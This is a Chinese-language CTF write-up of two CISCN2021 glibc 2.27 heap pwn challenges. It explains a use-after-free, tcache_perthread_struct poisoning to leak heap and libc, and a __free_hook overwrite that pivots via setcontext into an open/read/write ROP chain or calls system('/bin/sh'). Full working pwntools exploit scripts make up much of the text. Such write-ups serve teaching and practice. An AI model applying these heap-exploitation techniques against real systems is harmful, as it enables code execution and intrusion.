今天来看两道CISCN2021初赛的pwn题,分别是lonelywolf和silverwolf。
silverwolf
由于最开始看到的是silverwolf,就先分析这个题。
静态分析
┌──(kali㉿kali)-[~/Desktop/25-pwn/pwn2-tcache]
└─$ seccomp-tools dump ./silverwolf
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x07 0xc000003e if (A != ARCH_X86_64) goto 0009
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x04 0xffffffff if (A != 0xffffffff) goto 0009
0005: 0x15 0x02 0x00 0x00000000 if (A == read) goto 0008
0006: 0x15 0x01 0x00 0x00000001 if (A == write) goto 0008
0007: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0009
0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0009: 0x06 0x00 0x00 0x00000000 return KILL
┌──(kali㉿kali)-[~/Desktop/25-pwn/pwn2-tcache]
└─$ checksec --file=silverwolf
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols
Full RELRO Canary found NX enabled PIE enabled No RPATH RW-RUNPATH No Symbols
全绿,且加了沙箱。
IDA分析:


分析出了这两个漏洞,不过只用到了uaf,师傅们有其他解法也可以和我交流。
Index是逗你玩的,没什么用,不管如何都只能操作最后一个堆块。
┌──(kali㉿kali)-[~/Desktop/25-pwn/pwn2-tcache]
└─$ strings libc-2.27.so|grep ubuntu
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.3) stable release version 2.27.
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
GLIBC版本为2.27,这个版本的libc有tcache机制。
pwndbg> bins
tcachebins
0x20 [ 7]: 0x555555a02610 —▸ 0x555555a02790 —▸ 0x555555a025f0 —▸ 0x555555a028a0 —▸ 0x555555a020b0 —▸ 0x555555a02450 —▸ 0x555555a02020 ◂— 0
0x60 [ 1]: 0x555555a028c0 ◂— 0
0x70 [ 7]: 0x555555a02360 —▸ 0x555555a020d0 —▸ 0x555555a022f0 —▸ 0x555555a02490 —▸ 0x555555a02630 —▸ 0x555555a027b0 —▸ 0x555555a02040 ◂— 0
0x80 [ 7]: 0x555555a01e90 —▸ 0x555555a021b0 —▸ 0x555555a02250 —▸ 0x555555a023d0 —▸ 0x555555a02570 —▸ 0x555555a02820 —▸ 0x555555a01fa0 ◂— 0
0xd0 [ 3]: 0x555555a01ad0 —▸ 0x555555a017a0 —▸ 0x555555a01310 ◂— 0
0xf0 [ 2]: 0x555555a026a0 —▸ 0x555555a01cd0 ◂— 0
fastbins
0x20: 0x555555a01df0 —▸ 0x555555a01f00 —▸ 0x555555a02220 —▸ 0x555555a022c0 —▸ 0x555555a02460 ◂— 0
0x70: 0x555555a01e10 —▸ 0x555555a01f20 —▸ 0x555555a02130 —▸ 0x555555a024f0 ◂— 0
unsortedbin
empty
smallbins
empty
largebins
empty
直接分析也可以看到,tcachebin中有大量的堆块,这是因为程序开了沙箱,在创建沙箱时会创建和销毁很多堆块。
这个题我们需要利用tcache_perthread_struct这个结构,这是从2.27开始引入的机制,其实就是个链表。
pwndbg> tcache
tcache is pointing to: 0x555555a01010 for thread 1
{
counts = "\a\000\000\000\001\a\a\000\000\000\000\003\000\002", '\000' <repeats 49 times>,
entries = {0x555555a02610, 0x0, 0x0, 0x0, 0x555555a028c0, 0x555555a02360, 0x555555a01e90, 0x0, 0x0, 0x0, 0x0, 0x555555a01ad0, 0x0, 0x555555a026a0, 0x0 <repeats 50 times>},
}
看一下具体的值:
pwndbg> x/40gx 0x555555a01000
0x555555a01000: 0x0000000000000000 0x0000000000000251
0x555555a01010: 0x0007070100000007 0x0000020003000000
0x555555a01020: 0x0000000000000000 0x0000000000000000
0x555555a01030: 0x0000000000000000 0x0000000000000000
0x555555a01040: 0x0000000000000000 0x0000000000000000
0x555555a01050: 0x0000555555a02610 0x0000000000000000
0x555555a01060: 0x0000000000000000 0x0000000000000000
0x555555a01070: 0x0000555555a028c0 0x0000555555a02360
0x555555a01080: 0x0000555555a01e90 0x0000000000000000
0x555555a01090: 0x0000000000000000 0x0000000000000000
0x555555a010a0: 0x0000000000000000 0x0000555555a01ad0
0x555555a010b0: 0x0000000000000000 0x0000555555a026a0
0x555555a010c0: 0x0000000000000000 0x0000000000000000
0x555555a010d0: 0x0000000000000000 0x0000000000000000
0x555555a010e0: 0x0000000000000000 0x0000000000000000
0x555555a010f0: 0x0000000000000000 0x0000000000000000
0x555555a01100: 0x0000000000000000 0x0000000000000000
0x555555a01110: 0x0000000000000000 0x0000000000000000
0x555555a01120: 0x0000000000000000 0x0000000000000000
0x555555a01130: 0x0000000000000000 0x0000000000000000
可以看到这其实也是个堆块,大小为0x250,tcache_perthread_struct这个结构的定义:
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
前面是每种堆块在tcachebin中的数量,其中最大值为7,后面的entries是tcache_entry类型的指针,它的值是每一种堆块的头部,也就是每种堆块中第一个堆块的地址。
例如从0x555555a01010开始的值:0x0007070100000007,它对应的是0x90(0)、0x80(7)、……、0x30(0)、0x20(7)的堆块的数量。
0x555555a01050处的值(0x555555a02610)即是0x20大小堆块的第一个堆块的地址。
利用的就是这个结构体,下面我们来进行漏洞利用。
漏洞利用
要利用tcache_perthread_struct,我们首先要泄露出堆地址,利用tcachebin来泄露:
add(0x78)
show()
p.recvuntil(b"\x20")
leak = u64(p.recvuntil(b"\x0a")[-7:-1].ljust(8,b"\x00"))
print("leak1 >>>", hex(leak))
heap_base = leak - 0x11b0
print("heap_base >>>", hex(heap_base))
因为tcachebin中有很多初始的堆块,我们直接申请出来就行,然后可以泄露出堆地址:

接下来我们要泄露出libc基地址(堆题一般都是通过unsortedbin泄露的)
首先我们将申请出来的堆块再次释放,然后修改进入tcachebin的堆块的fd指针为tcache_perthread_struct结构体的地址,也就是heap_base+0x10的位置,然后我们将这个堆块申请出来,修改对应0x250大小堆块数量的值为7,将其他堆块数量修改为0。
delete()
edit(p64(heap_base+0x10))
add(0x78)
add(0x78)
edit(p64(0)*4+p64(0x7000000))
效果如下所示:
tcachebins
0x20 [ 0]: 0x557972dcf610 ◂— ...
0x60 [ 0]: 0x557972dcf8c0 ◂— ...
0x70 [ 0]: 0x557972dcf360 ◂— ...
0x80 [ 0]: 0x6070100000007
0xd0 [ 0]: 0x557972dcead0 ◂— ...
0xf0 [ 0]: 0x557972dcf6a0 ◂— ...
0x250 [ 7]: 0
fastbins
0x20: 0x557972dcedf0 —▸ 0x557972dcef00 —▸ 0x557972dcf220 —▸ 0x557972dcf2c0 —▸ 0x557972dcf460 ◂— 0
0x70: 0x557972dcee10 —▸ 0x557972dcef20 —▸ 0x557972dcf130 —▸ 0x557972dcf4f0 ◂— 0
unsortedbin
empty
smallbins
empty
largebins
empty
此时0x250的堆块数量已经被修改为7,此时再释放最后一个堆块(也就是上面我们申请出来的tcache_perthread_struct堆块),这个堆块的大小为0x250,由于tcachebin已满,所以会直接被释放进unsortedbin中,进而泄露出libc基地址:
delete()
show()
p.recvuntil(b"\x20")
leak = u64(p.recvuntil(b"\x0a")[-7:-1].ljust(8,b"\x00"))
print("leak2 >>>", hex(leak))
libc_base = leak - (0x7f4f27febca0 - 0x7f4f27c00000)
print("libc_base >>>", hex(libc_base))
可以看到0x250的堆块已经成功被释放进了unsortedbin中:
unsortedbin
all: 0x559695c90000 —▸ 0x7f6e0b9ebca0 ◂— 0x559695c90000
smallbins
empty
largebins
empty
打印出堆块内容即可:

泄露出了libc基地址,接下来我们需要去构造rop链了,因为这题开了沙箱,所以我们需要通过setcontext或者srop的方式来得到flag
这里我选择用setcontext,原因是Srop的orw需要控制好rsp和rip的关系,比较麻烦。
首先将那个堆块重新申请出来,修改0x20的堆块起始地址为它本身的地址
pwndbg> x/40gx 0x5612e473a000
0x5612e473a000: 0x0000000000000000 0x0000000000000051
0x5612e473a010: 0x0000000000000000 0x0000000000000000
0x5612e473a020: 0x0000000000000000 0x0000000000000000
0x5612e473a030: 0x0000000000000000 0x0000000000000000
0x5612e473a040: 0x0000000000000000 0x0000000000000000
0x5612e473a050: 0x00005612e473a050 0x0000000000000201
0x5612e473a060: 0x00007fa5f3bebca0 0x00007fa5f3bebca0
0x5612e473a070: 0x00005612e473b8c0 0x00005612e473b360
0x5612e473a080: 0x0006070100000007 0x0000000000000000
0x5612e473a090: 0x0000000000000000 0x0000000000000000
0x5612e473a0a0: 0x0000000000000000 0x00005612e473aad0
0x5612e473a0b0: 0x0000000000000000 0x00005612e473b6a0
0x5612e473a0c0: 0x0000000000000000 0x0000000000000000
0x5612e473a0d0: 0x0000000000000000 0x0000000000000000
0x5612e473a0e0: 0x0000000000000000 0x0000000000000000
0x5612e473a0f0: 0x0000000000000000 0x0000000000000000
0x5612e473a100: 0x0000000000000000 0x0000000000000000
0x5612e473a110: 0x0000000000000000 0x0000000000000000
0x5612e473a120: 0x0000000000000000 0x0000000000000000
0x5612e473a130: 0x0000000000000000 0x0000000000000000
0x5612e473a050的位置已经被成功修改,然后我们再次申请出来的0x20的堆块就是从这里申请了,我们再将0x40的位置修改为0x5612e473a050,这样下次申请0x40就可以修改更多的内容。
add(0x48)
edit(p64(0) * 8 + p64(heap_base + 0x50))
add(0x18)
edit(p64(0) * 2 + p64(heap_base + 0x50))#0x40
接下来修改tcachebin的entries:
add(0x38)
payload = p64(free_hook) #0x20 改free_hook
payload += p64(heap_base + 0x1000)#0x30 写./flag\x00\x00
payload += p64(heap_base + 0x10a0)#0x40 rdi + 0xa8为rcx,后面push rcx; ret,也就是把rdi+0xa8赋值为rip,rdi+0xa0为rsp,这个地方就很巧了,把rdi+0xa8设置为ret,rdi+0xa0为rop链的地址,这个时候就会把rsp的值(rop链的地址)弹入到rip,实现对程序执行流的劫持
payload += p64(heap_base + 0x1000)#0x50 setcontext时的rdi
payload += p64(heap_base + 0x2000)#0x60 orw链第一部分
payload += p64(0) #0x70 null
payload += p64(heap_base + 0x2058)#0x80 orw链第二部分
edit(payload)
setcontext+53:
.text:00000000000521B5 mov rsp, [rdi+0A0h]
.text:00000000000521BC mov rbx, [rdi+80h]
.text:00000000000521C3 mov rbp, [rdi+78h]
.text:00000000000521C7 mov r12, [rdi+48h]
.text:00000000000521CB mov r13, [rdi+50h]
.text:00000000000521CF mov r14, [rdi+58h]
.text:00000000000521D3 mov r15, [rdi+60h]
.text:00000000000521D7 mov rcx, [rdi+0A8h]
.text:00000000000521DE push rcx
.text:00000000000521DF mov rsi, [rdi+70h]
.text:00000000000521E3 mov rdx, [rdi+88h]
.text:00000000000521EA mov rcx, [rdi+98h]
.text:00000000000521F1 mov r8, [rdi+28h]
.text:00000000000521F5 mov r9, [rdi+30h]
.text:00000000000521F9 mov rdi, [rdi+68h]
.text:00000000000521F9 ; } // starts at 52180
.text:00000000000521FD ; __unwind {
.text:00000000000521FD xor eax, eax
.text:00000000000521FF retn
通过对rdi附近的值进行操作,分别对各个寄存器进行赋值,其中mov rcx, [rdi+0A8h]; push rcx这里通过对rcx赋值然后push到栈里面,进而通过最后的ret实现对rip进行赋值,从而控制程序执行流。
高版本的setcontext有所不同,这里不再赘述,在另一篇bigduck的文章里面(目前还在完善)
接下来需要通过修改free_hook,以及写rop链的方式得到flag:
add(0x18)
edit(p64(setcontext))
add(0x28)
edit(b'./flag\x00\x00')
add(0x38)
ret = libc_base + 0x00000000000008aa
flag_addr = heap_base + 0x1000
edit(p64(heap_base + 0x2000) + p64(ret))
先打free_hook,改为setcontext,然后写入flag字符串,然后再通过把rip赋值为ret,rsp赋值为rop_addr来控制执行流到orw所在的地址。
然后将orw链写入堆块:
payload = p64(pop_rdi_ret) + p64(flag_addr)
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rax_ret) + p64(2)
payload += p64(syscall)
payload += p64(pop_rdi_ret) + p64(3)
payload += p64(pop_rsi_ret) + p64(flag_addr)
payload += p64(pop_rdx_ret) + p64(0x100)
payload += p64(pop_rax_ret) + p64(0)
payload += p64(syscall)
payload += p64(pop_rdi_ret) + p64(1)
payload += p64(pop_rsi_ret) + p64(flag_addr)
payload += p64(pop_rdx_ret) + p64(0x100)
payload += p64(pop_rax_ret) + p64(1)
payload += p64(syscall)
add(0x58)
edit(payload[:0x58])
add(0x78)
edit(payload[0x58:])
最后释放0x48的堆块:
add(0x48)
delete()
此时,free的第一个参数就是0x48堆块的地址,这个地址就是上面写入的heap_base+0x1000,也就是rdi,因为free_hook已经被我们修改了,所以这里实际上调用setcontext,通过各个寄存器与rdi的偏移来实现对程序执行流的控制。最后成功调用orw链:

exp
(打远程需要更改libc,我本地没找到相应的libc版本,用的相近的)
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p = process("./silverwolf")
#p = remote("node4.anna.nssctf.cn",28172)
libc = ELF("./libc")
def choice(idx):
p.sendlineafter("Your choice:", str(idx))
def add(size):
choice(1)
p.sendlineafter("Index:", b'0')
p.sendlineafter("Size:", str(size))
def edit(data):
choice(2)
p.sendlineafter("Index:", b'0')
p.sendlineafter("Content:", data)
def show():
choice(3)
p.sendlineafter("Index:", b'0')
def delete():
choice(4)
p.sendlineafter("Index:", b'0')
def exit():
choice(5)
add(0x78)
show()
p.recvuntil(b"\x20")
leak = u64(p.recvuntil(b"\x0a")[-7:-1].ljust(8,b"\x00"))
print("leak1 >>>", hex(leak))
heap_base = leak - 0x11b0
print("heap_base >>>", hex(heap_base))
#gdb.attach(p)
delete()
edit(p64(heap_base+0x10))
add(0x78)
add(0x78)
edit(p64(0)*4+p64(0x7000000))
#gdb.attach(p)
delete()
show()
p.recvuntil(b"\x20")
leak = u64(p.recvuntil(b"\x0a")[-7:-1].ljust(8,b"\x00"))
print("leak2 >>>", hex(leak))
libc_base = leak - (0x7f4f27febca0 - 0x7f4f27c00000)
print("libc_base >>>", hex(libc_base))
#gdb.attach(p)
free_hook = libc_base + libc.sym['__free_hook']
setcontext = libc_base + libc.sym['setcontext'] + 53
add(0x48)
edit(p64(0) * 8 + p64(heap_base + 0x50))
#gdb.attach(p)
add(0x18)
edit(p64(0) * 2 + p64(heap_base + 0x50))#0x40
add(0x38)
payload = p64(free_hook) #0x20 改free_hook
payload += p64(heap_base + 0x1000)#0x30 写./flag\x00\x00
payload += p64(heap_base + 0x10a0)#0x40 rdi + 0xa8为rcx,后面push rcx; ret,也就是把rdi+0xa8赋值为rip,rdi+0xa0为rsp,这个地方就很巧了,把rdi+0xa8设置为ret,rdi+0xa0为rop链的地址,这个时候就会把rsp的值(rop链的地址)弹入到rip,实现对程序执行流的劫持
payload += p64(heap_base + 0x1000)#0x50 setcontext时的rdi
payload += p64(heap_base + 0x2000)#0x60 orw链第一部分
payload += p64(0) #0x70 null
payload += p64(heap_base + 0x2058)#0x80 orw链第二部分
edit(payload)
add(0x18)
edit(p64(setcontext))
add(0x28)
edit(b'./flag\x00\x00')
add(0x38)
ret = libc_base + 0x00000000000008aa
flag_addr = heap_base + 0x1000
edit(p64(heap_base + 0x2000) + p64(ret))
pop_rdi_ret = libc_base + 0x000000000002164f
pop_rsi_ret = libc_base + 0x0000000000023a6a
pop_rdx_ret = libc_base + 0x0000000000001b96
pop_rax_ret = libc_base + 0x000000000001b500
syscall = libc_base + 0x00000000000e44f5# libc.sym['alarm'] + 0x5 #0x0000000000002743(不知道为什么这个不行)
payload = p64(pop_rdi_ret) + p64(flag_addr)
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rax_ret) + p64(2)
payload += p64(syscall)
payload += p64(pop_rdi_ret) + p64(3)
payload += p64(pop_rsi_ret) + p64(flag_addr)
payload += p64(pop_rdx_ret) + p64(0x100)
payload += p64(pop_rax_ret) + p64(0)
payload += p64(syscall)
payload += p64(pop_rdi_ret) + p64(1)
payload += p64(pop_rsi_ret) + p64(flag_addr)
payload += p64(pop_rdx_ret) + p64(0x100)
payload += p64(pop_rax_ret) + p64(1)
payload += p64(syscall)
add(0x58)
edit(payload[:0x58])
add(0x78)
edit(payload[0x58:])
add(0x48)
#gdb.attach(p)
delete()
p.interactive()
Tips:在搜索syscall的时候可以在ROPgadgets后面添加参数:
ROPgadget --binary libc --only 'syscall|ret' --multibr
这样就可以找到对应的syscall; ret
lonelywolf
比silverwolf少了一个沙箱,前面分析的部分都一样,后面直接替换free_hook为system,然后free一个内容为/bin/sh\x00的堆块即可。
分析部分略。
exp
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p = process("./silverwolf")
#p = remote("node4.anna.nssctf.cn",28172)
libc = ELF("./libc")
def choice(idx):
p.sendlineafter("Your choice:", str(idx))
def add(size):
choice(1)
p.sendlineafter("Index:", b'0')
p.sendlineafter("Size:", str(size))
def edit(data):
choice(2)
p.sendlineafter("Index:", b'0')
p.sendlineafter("Content:", data)
def show():
choice(3)
p.sendlineafter("Index:", b'0')
def delete():
choice(4)
p.sendlineafter("Index:", b'0')
def exit():
choice(5)
add(0x78)
show()
p.recvuntil(b"\x20")
leak = u64(p.recvuntil(b"\x0a")[-7:-1].ljust(8,b"\x00"))
print("leak1 >>>", hex(leak))
heap_base = leak - 0x11b0
print("heap_base >>>", hex(heap_base))
#gdb.attach(p)
delete()
edit(p64(heap_base+0x10))
add(0x78)
add(0x78)
edit(p64(0)*4+p64(0x7000000))
#gdb.attach(p)
delete()
show()
p.recvuntil(b"\x20")
leak = u64(p.recvuntil(b"\x0a")[-7:-1].ljust(8,b"\x00"))
print("leak2 >>>", hex(leak))
libc_base = leak - (0x7f4f27febca0 - 0x7f4f27c00000)
print("libc_base >>>", hex(libc_base))
#gdb.attach(p)
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
add(0x60)
edit(p64(0)*8+p64(free_hook))
add(0x10)
edit(p64(system))
add(0x20)
edit(b'/bin/sh\x00')
delete()
p.interactive()
新年快乐
写到这里已经19:53了,我也该看春晚去了,在这里提前祝大家新年快乐,新的一年a更多的题,祝各位师傅的实力越来越强,每次比赛都能AK茶歇!!!

本文地址: wolfs(除夕夜最后一更)